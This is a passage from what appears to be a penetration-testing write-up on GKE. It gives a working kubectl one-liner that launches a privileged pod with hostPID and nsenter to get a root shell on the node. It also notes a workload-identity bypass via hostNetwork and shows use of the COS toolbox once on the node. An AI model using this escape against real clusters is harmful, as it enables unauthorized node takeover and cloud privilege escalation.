This attack path requires to have the permission to create pods (kubectl auth can-i create pods -A
), you may have managed this with the previous attack vector (or through some custom component, could be the tiller pod from helm v2 for instance, more about it later). If so, you may be able to break out of your container by creating a privileged pod/docker runtime that mounts the node root file system and chroot to it.
This one liner from Duffie Cooley summarizes the main idea:
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
(check there is no lol
image or change the name of it!)Basically, it spawns a new container named r00t
based on alpine
. The container is run in privileged mode ("privileged":true
, so root gets all linux capabilities) "hostPID":true
makes the container use the host's PID namespace (so the Node compute VM) and the nsenter
command is executing bin/bash
with the context of another process (PID 1 here).
If GKE workload identity is being used, you will be able to bypass it adding the "hostNetwork": true
specification in the above command as seen below:
Embiggen Me
If you’re interested in learning more, the following are some good reads:
If you end up on the node, it's a GCP compute VM and you should once more refer to Chris Moberly's post about GCP privilege escalation! It is interesting to be aware that by default, the OS image used for Nodes in GKE is the "Container Optimized OS" (COS) made by Google, based on Chromium OS. If you managed to break out of the pod and get a shell there, you won't have any package management and almost no basic network tools. However, "COS" has a "toolbox" utility to help debugging, you can find the binary in /usr/bin/toolbox
(https://cloud.google.com/container-optimized-os/docs/how-to/toolbox). It will pull a docker image, a Debian-like environment, with apt
as the package management and the classic net tools available. The following shows the first time the toolbox binary is launched:
gke-cluster-1-default-pool-81f6e491-qq7g ~ # /usr/bin/toolbox
20180918-00: Pulling from google-containers/toolbox
05d1a5232b46: Pull complete
f010013929e5: Pull complete
78299e073587: Pull complete
d61e444c89e9: Pull complete
25a53434bc92: Pull complete
5397e889290d: Pull complete
adedfea465ee: Pull complete
Digest: sha256:f79e82df012b1d1c02d6196b75a05bb3fdef0b737fcaf3482aaccfb3d3a68656
Status: Downloaded newer image for gcr.io/google-containers/toolbox:20180918-00
216a1bf80cd85d53b34ebcf6b1497bb6e313adc40f34a3a2b58b54c57fb44f6b
root-gcr.io_google-containers_toolbox-20180918-00
Spawning container root-gcr.io_google-containers_toolbox-20180918-00 on /var/lib/toolbox/root-gcr.io_google-containers_toolbox-20180918-00.
Press ^] three times within 1s to kill container.
root@gke-cluster-1-default-pool-81f6e491-qq7g:~#
You will feel more "at home" in the toolbox env, which will also have gcloud installed. Much better than in the COS classic shell!